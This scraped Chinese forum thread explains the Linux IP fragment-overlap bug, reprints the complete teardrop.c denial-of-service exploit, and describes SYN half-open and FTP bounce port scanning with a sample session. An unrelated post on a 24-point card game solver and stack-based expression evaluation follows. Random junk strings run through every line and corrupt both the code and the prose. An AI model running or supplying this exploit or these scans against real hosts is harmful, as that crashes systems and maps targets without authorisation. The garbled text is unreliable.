. S' n8 O8 M, i5 h( N这里只检查了长度过大的情况,而没有考虑长度过小的情况,
! I0 P; c. C$ u如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:
& |9 d2 H, ?6 e3 \end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)* l: B. D* Y+ |( t2 K; M# c" h
是这样处理的:
& G0 d0 B5 z* W7 D$ oif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
4 i& J6 n& E6 X. `+ V4 q) F' l{5 ~2 ?/ T$ L3 u7 u4 [4 m# z
i = prev-&gt;end - offset;% Q0 i9 L5 ~8 L$ `3 T6 }5 l
offset += i; /* ptr into datagram */: G$ K1 r( h( Z' l+ K
ptr += i; /* ptr into fragment data */$ Y( g) ~8 r: C$ U4 }, q6 c
}</P><P>/* Fill in the structure. */+ A/ B2 W: K; o' ^. q# M9 z# p( i
fp-&gt;offset = offset;% K9 O6 R2 w/ j3 g6 {
fp-&gt;end = end;: X3 n, c4 A$ G# n; |, i6 @
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
% z, S6 y9 O$ @+ r第一个碎片:mf=1 offset=0 payload=20
; K5 q+ Q5 P1 B敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 ; E2 {) t) c, L! r/ q& L$ v
offset=0
0 n+ N+ f9 `2 ^( n% i2 T这样第二个碎片的 end=9+10=19* X) |+ B9 ~$ d; B- t: Q0 ]
offset=offset+(20-offset)=20; k/ \- _0 ^- R0 R  {! f
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>( `; G4 }  }/ g9 @& J& ?  c
/*
% _. T$ w5 D& o, M9 D, L2 ~# ~) W* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
! u. E' M; r+ g4 c- j* \8 y*
3 {* \# c$ b! d2 L; l* Linux/NT/95 Overlap frag bug exploit
" b/ F' x% E& @8 G0 }$ [*+ g7 L; V3 V  {$ q" F' O
* Exploits the overlapping IP fragment bug present in all Linux kernels and
: U7 ]0 f9 F0 T! Q' d* NT 4.0 / Windows 95 (others?)8 Q& f& z% W" b  t  o
*
' Q% E* {, o+ Y5 @/ w* I+ T* Based off of: flip.c by klepto, F+ q) _1 w! ^+ E( N" o. Z& s
* Compiles on: Linux, *BSD*
5 `1 T" x, L' s& |*
" i1 K4 A* T0 Z1 ]/ ?' Z- g* gcc -O2 teardrop.c -o teardrop6 x7 G% d1 a+ M- ]9 A  |
* OR& `4 D& P+ b7 V9 d  N
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
9 a9 V4 ~% F8 ^$ \& k  L*/</P><P>#include <STDIO.H>  C& c9 ~$ w) d& I& @9 s' v$ @  b0 O
#include <STDLIB.H>% Z  I7 L& y' ?3 ~" g% ?% L6 P
#include <UNISTD.H>1 Y2 c/ ^/ l3 `6 z# y% W8 J
#include <STRING.H>
. w0 |. P0 d3 P$ G  q) Z#include <NETDB.H>
( a- ?, b/ o) ~- U5 z#include <NETINET in.h>( v# b* z/ ]; U& {$ e$ s7 Y
#include <NETINET udp.h>" A0 \) [2 Q: q- u- ^
#include <ARPA inet.h>
' z4 ]" A  K% ~+ U' u4 ^! R#include <SYS types.h>
7 }- p  r0 s2 _5 }( ]3 Z#include <SYS time.h>
+ a- `9 H1 H. A0 B. v#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING1 g! ?4 P$ I8 P  X4 f# o
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */8 \7 z: V* t8 {- u
#define FIX(n) (n)
5 I; Y7 j) k2 \# O; `" T#else /* OpenBSD 2.1, all Linux */
9 q, r' v* M+ a/ |' d8 F#define FIX(n) htons(n)5 w8 W6 O3 E* H# C3 P" w
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
6 I( B+ K2 p5 o3 e- Y  Y#define IPH 0x14 /* IP header size */2 @& t( o  `$ H/ a( ~; _" v
#define UDPH 0x8 /* UDP header size */& W$ k2 z$ C" x0 y
#define PADDING 0x1c /* datagram frame padding for first packet */$ b5 x* d' ^( C* H6 p8 w3 B1 M
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
4 X3 M5 N. G/ w#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can0 Q( Y% M5 |0 E$ H, n& N
* withstand maybe 5 or 10 sometimes... Experiment.
2 Z7 w: b4 _4 A/ D*/</P><P>void usage(u_char *);5 \$ b* @2 c- u& B+ m9 x! v/ K
u_long name_resolve(u_char *);# K7 s' T. U( I  W$ f
u_short in_cksum(u_short *, int);
$ M$ O5 u/ B& qvoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
( T! h) R  ?' A" Y' h& k: L/ B{6 H: O6 |. k" X8 F+ T
int one = 1, 3 S: r3 b- @( o4 s2 r* H
count = 0, + J: c8 {$ c' ~9 f
i, + V& O9 o. B& |" G; ]$ x3 S
rip_sock;
5 z! U" k9 K3 b. yu_long src_ip = 0, dst_ip = 0;" b# |' F$ q/ V9 |2 ~* U
u_short src_prt = 0, dst_prt = 0;' k, v6 Z( ]% r  o) ^# W/ I5 A
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW+ w1 ^- G; X' \
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
& b3 f4 w( g8 q{  o$ ]% F0 N: W% `, T) h2 g
perror("raw socket");
: z# `: M" B8 x9 Pexit(1);
6 [5 _2 z" _8 p/ G}2 S, m* d6 U# D  j; f
//由系统处理IP校验和。
0 p6 S$ N# p$ a9 }0 Iif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
! O  }' V. `& F  |* x7 b8 x&lt; 0)
$ F! d" R2 V: b3 Z! f9 r{
5 T  h. j5 y1 C& Qperror("IP_HDRINCL");
% ?3 J7 l* J; m* A6 Mexit(1);$ m" b( E; h8 c* E1 Y& ~
}</P><P>if (argc &lt; 3) usage(argv[0]);1 z6 n9 O3 Y# y+ F7 w9 ~! E" s* F
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
3 M! M# Y2 P. Y  s; a( l* n1 n{
1 J! h4 I6 N0 w* }9 I, Zfprintf(stderr, "What the hell kind of IP address is that?\n");& }6 m, Z2 j* s% ~$ p. i
exit(1);
, a1 W# P7 M; S* }" v}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)4 O( T9 Z6 R* z# q# i4 O& O: t
{
0 y5 C- [0 d% w: Hswitch (i)
) P$ k9 Y1 o3 F) x& A! P{: _% C9 ~  D6 Q+ O+ Q
case 's': /* source port (should be emphemeral) */# I( Q, I9 `1 k& r6 i, U$ f0 c' d# k! |
src_prt = (u_short)atoi(optarg);' I" F, j5 `/ e
break;) {( L- T6 H7 q# @# e0 n
case 't': /* dest port (DNS, anyone?) */
1 ?5 Q8 I0 Y- i6 }1 E) [: q5 bdst_prt = (u_short)atoi(optarg);- F8 h5 ?" T/ Z& n  }' s  S
break;, o: I) U* X7 C4 @) ~( w
case 'n': /* number to send */
, x  ^0 z- p! g  w4 ocount = atoi(optarg);" Z- q: q8 [0 z6 B5 f% Q) e6 k6 ^
break;
  k5 Y/ G# T8 q* }( n+ l+ Rdefault :3 @% {: F. `! F4 m. B
usage(argv[0]);# ?* [9 v6 t; u3 b3 z
break; /* NOTREACHED */
3 v! X9 _) X1 ?% O, [) n}
4 W( \1 c+ w8 T1 Y( N& d) U* `}</P><P>srandom((unsigned)(time((time_t)0)));
- M, e% `- |8 _9 Fif (!src_prt) src_prt = (random() % 0xffff);& J5 _, }* \0 G" n! G
if (!dst_prt) dst_prt = (random() % 0xffff);
7 }6 A, a6 [* B' _0 h3 a, Yif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
1 ~0 K5 i' L2 n: s8 Qaddr.s_addr = src_ip;0 Y$ u$ @) Q. ^
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);  W  n# n9 V) v  c/ k8 @
addr.s_addr = dst_ip;' N% ?  t- ~- N. {3 f& j- C
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
6 D! u' u$ X3 z7 Bfprintf(stderr, " Amt: %5d\n", count);( D- o/ \' D" E0 \% }
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
. M+ h+ g6 `) j+ K+ r{. b. P" w$ p, z/ v6 ~. j
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);& H3 M! C) F2 J4 h6 U+ f: ~3 {
fprintf(stderr, "b00m ");
* A8 D9 J: ~/ d' Z/ u$ j/ A- P" J9 Lusleep(500);
; _6 \1 }6 G9 H3 D) W/ ^3 q}
, }9 T$ a6 L% ^6 h- U- Kfprintf(stderr, "]\n");/ d1 a1 a% ]/ a! X* R& F. t4 s& E
return (0);
: @; d. J$ \+ l+ a1 f! Q}</P><P>/*
- ^' J$ ?4 J4 q$ ?3 a* Send two IP fragments with pathological offsets. We use an implementation) O  \% E& W' ]+ m3 v: e" S
* independent way of assembling network packets that does not rely on any of
; c8 E% `2 b. e* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
, d/ V( i: P$ k/ ~; X5 h*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,$ _* Q) ?$ S' J# I0 g# ^
u_short dst_prt)
* q: `  P) x0 }, R{
- J: X8 L- G0 \" Yu_char *packet = NULL, *p_ptr = NULL; /* packet pointers */% F$ ~/ p" y7 Y4 P
u_char byte; /* a byte */
1 S: T* B& L+ k+ U6 |struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;8 n* T1 V" M. g, m( F; c) ?
sin.sin_port = src_prt;
2 i2 W+ b. q* j, W$ h( o% p' usin.sin_addr.s_addr = dst_ip;</P><P>/*; Z: `  Q6 b& `4 i* ^
* Grab some memory for our packet, align p_ptr to point at the beginning6 @1 R( M! p' U" K  V  ]: t' i& o* u
* of our packet, and then fill it with zeros.
+ l% m6 _, u  e3 d# y; Z' b# M*/3 n' \. E  m# i7 D" }: v8 s
packet = (u_char *)malloc(IPH + UDPH + PADDING);0 p7 o3 }, x' ?0 @8 l: i
p_ptr = packet;9 S8 x9 ]9 C1 q/ ]3 Z+ n# Q& M
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
. P7 f! F8 T$ I# @memcpy(p_ptr, &amp;byte, sizeof(u_char));
/ W0 N: r9 e/ fp_ptr += 2; /* IP TOS (skipped) */
% U1 o. q# c2 A2 O5 z/ q*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */  P& \0 L3 H' S2 Q+ T
p_ptr += 2;' A+ E# k6 s/ P6 C; l# j/ f  K3 [
*((u_short *)p_ptr) = htons(242); /* IP id */
# M. X6 \1 ^* N  A# Vp_ptr += 2;5 a# i. X0 T& w6 X! p( }
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */! M7 S6 a% e3 t% a$ X
p_ptr += 2;$ B0 }6 L5 T/ c0 q& i/ z8 P
*((u_short *)p_ptr) = 0x40; /* IP TTL */6 a6 Q4 A4 z! C/ O( c8 |
byte = IPPROTO_UDP;
: l, k) I% ~/ f0 ?, Z2 ememcpy(p_ptr + 1, &amp;byte, sizeof(u_char));& b% C( |0 l, v. b6 M0 @: x
p_ptr += 4; /* IP checksum filled in by kernel */, O- A) M0 x; r+ O% e
*((u_long *)p_ptr) = src_ip; /* IP source address */6 X, h+ K. C0 X9 V  k! t
p_ptr += 4;% f  \* l: I: d5 M# }. Z
*((u_long *)p_ptr) = dst_ip; /* IP destination address */- Q4 z4 h$ L2 L
p_ptr += 4;, i! j- A7 n4 e0 y! W. Z- E+ y
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
+ N; u% r$ K" a$ `p_ptr += 2;7 z  ~0 c3 J) r  w/ n- ~0 [+ }
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */+ v+ Z' j" v# O# w& B" O  ]
p_ptr += 2;$ o& i8 b+ b$ A1 \4 A. I; U
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
$ Z! \2 N# h5 k- o5 O5 G- Zsizeof(struct sockaddr)) == -1)
" O8 y! G5 x7 P" P6 M/ t{7 J, I8 Q/ W# _3 S* |7 B" ~2 J. y; R
perror("\nsendto");6 x# F  x9 k: j1 \  P7 f
free(packet);
& E) l" w7 E5 C. A  T' N/ I4 f) ~  Jexit(1);; R+ |# A  C: s8 q5 l
}</P><P>/* We set the fragment offset to be inside of the previous packet's' U8 I: ^0 r$ c: W' x7 T) b$ a
* payload (it overlaps inside the previous packet) but do not include
% Z0 R9 r3 F" |6 D* enough payload to cover complete the datagram. Just the header will' G4 C0 l7 W* d5 c
* do, but to crash NT/95 machines, a bit larger of packet seems to work% G3 E9 c- h4 h+ T. P8 ~
* better., j3 u# Q2 s! e0 ^
*/
+ h# |6 R! s4 x. Up_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */" p+ z/ @6 ^1 {1 b! P
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
" ]0 P) Q7 P- y( G& ~5 s- n6 a8 rp_ptr += 4; /* IP offset is 6 bytes into the header */
- g. Q8 P+ N, K1 k, `) h! f; [7 K*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,4 `) x  J3 _$ w; c% k# t5 ^4 h. Q
sizeof(struct sockaddr)) == -1)9 r6 ~( z; r, z$ q9 {
{" j6 Y( L; u& L! r! v% W5 r
perror("\nsendto");: X; I, p/ L4 _7 }# P% \+ s, j( z$ A
free(packet);
8 Q% @( W/ ?% ~' p" g# f/ yexit(1);! E% B3 Z! n+ E% k. m
}
/ k! _9 C& H& q3 Gfree(packet);' t" W2 l& y, B, x$ ~; a
}</P><P>u_long name_resolve(u_char *host_name)
( c3 w, q7 A, a1 Z7 C' r) P{
( N7 u% x, Y8 i1 astruct in_addr addr;
; B# Z/ f* x9 E% s8 w4 Rstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)' \7 g8 }( D  E- ~/ i! [4 k- \% f1 z
{: U" |5 N3 s; W% l7 Y1 R3 n
if (!(host_ent = gethostbyname(host_name))) return (0);0 a. J0 d0 S7 U" P7 x7 Z1 {
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);- y  N2 l! q) r6 m' ~& _
}/ T+ X+ w/ A# |1 n; [% m+ ?
return (addr.s_addr);
$ T! v5 R5 _# i+ D+ d, F# Q. s}</P><P>void usage(u_char *name)8 M' F6 J& k1 a- H  P
{
2 s$ J$ U6 W3 S  n" @fprintf(stderr,/ L# P' l: F. W0 D1 C5 z5 P: C+ Y
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",5 ?8 @0 r5 o% n2 X- y8 w* @
name);
! D: M% u, {( Y7 c9 sexit(0);
% w6 a. c  d6 }) i$ P$ o8 @- v$ n}</P><P>
- y* n+ Z2 ?) r/ j9 o' M, h8 \4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: 8 b3 s. B+ R  S* g+ \! l. \! a
(1) Half-open(半打开)
  B9 h9 g6 ~7 R/ L7 D5 |6 {' O利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),% r3 [8 }8 ~, D) E; s
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner9 ]5 d- D8 U$ g* L: z
利用了FTP的port命令,例如可以这样作:
+ z. L! N$ W. y8 w选择一个FTP服务器,连上后令port命令指向目标机,如果返回( M8 k$ U5 y) |  _# q, ?0 c: E
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则* c+ w8 L& b% r" w: j
该端口无服务。) I; T- K5 g5 ~
telnet 192.168.1.13 21+ a6 Y$ ~( [0 v7 X, u4 _5 c* B. m
Trying 192.168.1.13...
: w6 {+ Y) |1 eConnected to pp.bricks.org.
4 a. F7 Y+ f5 m& d) u! _- H% wEscape character is '^]'.
" s  P% _6 F. }* n9 K220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
! E, c8 o1 k( E" H! g6 F8 TThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous/ t7 A' P. T/ z" _1 B$ T; w
331 Guest login ok, send your complete e-mail address as password.
1 U) o6 L- S( S# Vpass aa@aa.aa* Q4 T8 i% s' U" B# |' [" }! d* v: H
230 Guest login ok, access restrictions apply.
1 g$ V" v; D9 \" Jport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.  M$ ^; I: t- H) \9 R- X/ j! d; D
425 Can't build data connection: Connection refused.) D9 `$ p  w- Z# z# w& M2 u! f
//该端口未活动 5 D  d0 N' d( \- y
150 Opening ASCII mode data connection for file list.
  i9 Y& Q5 u0 w$ g7 _( a226 Transfer complete.% u: X8 F! V4 k
//该端口活动中
! u/ s5 l) S& q1 W$ w& x+ f但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
3 c& E  Z1 Q( J* K/ e7 K) HSYN|FIN ACK or SYN|ACK* RST
" `, C7 ]0 C' @  w2 hACK Nothing RST
1 o9 o8 V5 Q4 t0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
1 b. O& K* l6 e' `一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
8 i2 ~; s$ ]3 J; J9 y' u. y- Q若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认2 O1 u6 P+ `% J/ L
定它在向你做portscan。</P><P>notes:/ Q5 ]5 _4 @, o9 s6 L
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),% P( n( Q7 q) ?& ~: E# a
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的! h# w0 i) |; j1 Z/ R8 P
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
# e- O, g- t9 Q3 B& ?: r# c6 d  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
3 u" ?* f* K1 t/ [) U6 Z7 ~+ K9 V: s6 \3 I8 ^
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
, v) c. i1 b" C$ @6 [2 {! G) c6 A& J首先穷举的可行性问题。我把表达式如下分成三类——1 P, l. S9 n* n& H
<FONT color=#ff0000>1、 无括号的简单表达式。
4 N: F7 `# s0 l( M- H% F: j2、 有一个括号的简单表达式。" I- R/ P. X% v% j' T: l
3、 有两个括号的较复4、 杂表达式。& M8 S3 g9 p+ ?
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
: F7 _: l, U$ ~* T9 n/ X0 o<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */' N* U$ s: ~' x3 {
/* c[] 存放四张牌的数组 */' v; G- `9 }- g' T
/* k[] c[]种四张牌的代号,其中k[I]=I+1。6 u6 L8 s4 `$ s& t, m& J
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
5 L6 G3 j3 l- w/* kans[] 暂存生成的排列组合 */
+ ~! ]1 G0 Z8 f0 F! o/* j 嵌套循环的次数 */
2 I6 r% U. E; c- d" iint fans(c,k,ans,kans,j)- M/ b7 G; A; ]' O3 s2 w
int j,k[],c[];char ans[],kans[];
+ b5 \! M6 h  k8 y9 F9 Z- y{ int i,p,q,r,h,flag,s[4],t[4][4];! v3 z- j- O9 F5 Q
for(p=0,q=0;p&lt;4;p++)
2 B, c6 K' W- Y  e$ m! h+ F" a{ for(r=0,flag=0;r<J;R++)( R  ]0 Z4 }6 Z* @( C9 n, m: F
if(k[p]!=kans[r]) flag++;/ `, Q( j# O! y7 O
if(flag==j) t[j][q++]=k[p];% O. |) S6 R+ D+ w) A6 q& A% \3 ~
}; {+ s3 \& D/ J: |* R
for(s[j]=0;s[j]&lt;4-j;s[j]++)
+ e- e2 x( s# g+ C{ kans[j]=t[j][s[j]];
3 L# c6 A& i2 _$ ?8 K$ {if(j==3) { for(h=0;h&lt;4;h++)
# L2 p3 c! k( J1 e7 P" gans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
* R) p* a4 k7 l) ~4 e. x6 n达式中的位置 */
& `* U2 b% z6 O" Z/ }4 Gfor(h=0;h&lt;3;h++)% x7 B( s% y0 C% R8 ~
symbol(ans,h); /* 在表达式中添加运算符号 */
: T5 V; I3 \- i, {5 k4 T  C  d}8 a  ?* O. ^# J0 K
else { j++;
% K% F  [+ U) z) w7 L  k2 Afans(c,k,ans,kans,j);
6 \5 r( ^3 c/ F6 V* L/ [0 v  v7 _j--;
5 U( E0 j- S4 f$ z. ^5 u" R: O1 p}
  }4 K7 o) z3 Y4 L; w}( j" _0 ~# q/ B- I; b: {3 Q; j+ U
}</FONT>
& ~, p4 x" j9 ~8 \* _, w! N( ~2 B% l0 \8 l# }& @
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
$ t. s6 @$ Z/ L$ f  M4 [: J9 z( U9 [+ u6 ?! Q; P  I- ^; r
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/, _+ ]: X& D4 }9 g2 w2 z# u7 u
int sans(ans,sy,j,h)
3 ]1 t+ D- {6 q: J8 X: M% \char ans[],sy[];int j,h;
& R, Z, c, k: G, L) b- Z{ int i,p,k[3],m,n; char ktans[20];
" ^0 T* q) |; k) U9 o8 M1 J- Afor(k[j]=0;k[j]&lt;4;k[j]++)$ ?  x: I# r/ F) g, A! h) D, R, i
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位' @1 M! ]5 g$ y- m  A1 b" [
这里的三个运算符号分别存放在1、3、5位*/
2 o: q, l6 D5 N* rif(j==2)
" d2 h* \) B6 W{ ans[5]=sy[k[j]];
' j5 |+ g% V; ~" C0 P/* 此处根据不同的表达式形式再进行相应的处理 */; {- {9 l8 K: ]& s7 O2 d' c3 Y0 j4 K
}
0 e, ^5 g2 q; u1 O  U1 Oelse { j++; sans(ans,sy,j--,h); }
+ k, a" K" N: W, i4 P3 N}/ B2 H; R1 L. o; B. {8 E
}6 W! T" _* `. M
8 R, w9 z- ?% i% B
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。- x5 S1 C, Y: l  [
for(m=0;m&lt;=4;m+=2)
9 l1 [$ a6 p- _2 Pfor(n=m+4;n&lt;=8;n+=2)8 ^! ?. [3 ^6 l
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。/ L/ o! k9 R! ~9 ?

  P+ j1 e* J4 m. x% L% n/ B8 [  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
: ~7 C5 d3 @8 L/ p7 n0 h: v0 Y</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
& ^' v) L& ?" \6 r. \. r0 S4 a在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。- R* c% u2 s$ q. i! |
+ Y0 I( Q+ I5 {( l+ ~$ o* J5 D
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
* o( T) T; h* q% J4 ^( {* F' U+ c- w- h8 ?
  那么作为栈的著名应用,表达式的计算可以有两种方法。& g1 m8 y! X# a* D; z

  \0 Q& j) J2 A  r  J  <FONT color=#ff0000>第一种方法——</FONT>- [' y0 X$ S! {- f5 B  u& s8 C/ ?
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
" }: U' r7 W, z% E0 {+ K& N. [  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:% E! w1 h3 z# z# [1 d* ~8 M" f4 n: r; m
1、 若W为操作数
. b5 G4 |" f* n: Q1 E& V2、 则将W压入操作数栈OVS
$ j+ G/ n  X0 p3 x0 S3、 且继续扫描下一个字符
1 v6 I) U! P6 v& l4、 若W为运算符& b9 y# k3 V0 M7 ?' M) J
5、 则根据运算符的性质做相应的处理:
$ k7 _+ r: n, j; x(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。: @" R$ J& ~( X3 Z
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
! Y, Q4 G0 B8 q8 \) M' ](3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
; z5 g* h* V5 R+ ~; V! f(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。! q; [3 v3 A; V3 A2 F" G' p
/ i8 v* F& U6 y* Y2 P  R
<FONT color=#ff0000>  第二种方法——</FONT>1 o7 \1 Q; N  {% q" b
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
3 @% U7 S0 Z1 }$ l: e& i" V- @- t: v7 L! X% `9 ]* y% a. P
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。9 B1 q/ L6 N- w. E* m% z& b! C& V
" d' k/ p, @2 v. w% M- g  j0 q
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
; A; F3 m1 `2 o; N9 T0 U表达式 波兰表达式) A% T; F/ N+ h
A-B AB-$ J% m  m6 F8 l0 F5 Z8 I
(A-B)*C+D AB-C*D+
" C, N" u5 s5 vA*(B+C/D)-E*F ABCD/+*EF*-
/ y. M4 D3 v, R(B+C)/(A-D) BC+AD-/
2 N! x( N, v5 ^8 u. P$ I; G- H8 p0 P# Y* F
